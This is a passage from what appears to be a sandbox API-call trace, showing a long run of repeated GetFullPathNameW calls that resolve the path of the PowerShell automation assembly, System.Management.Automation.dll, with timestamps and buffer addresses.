lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.483] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27be00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.483] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.483] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.483] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.483] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.483] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.484] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.484] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.484] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.484] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bc70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.484] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bbc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.485] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bbc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.485] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27b8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.485] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27b800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.485] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27b800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.486] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27b8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.486] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27b800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.486] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27b800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.486] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bc70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.486] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bbc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.486] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bbc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.487] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27b8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.487] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27b800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.487] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27b800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.487] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bc70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.488] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bbc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.488] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bbc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.488] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bc70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.488] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bbc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.488] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bbc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.488] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bc70, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.489] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bbc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.489] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bbc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.489] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27b8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.489] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27b800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.489] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27b800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.490] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27b8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.490] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27b800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.490] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27b800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.490] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c580, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.490] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.490] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.491] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.491] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c340, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.491] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c340, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.491] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.491] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.491] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.492] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.492] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.492] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.492] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.492] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.493] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.493] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27be00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.493] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.493] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.493] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27be00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.493] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.494] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.494] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27be00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.494] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.494] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.494] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27be00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.494] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.495] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.495] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.495] GetFullPathNameW (in: 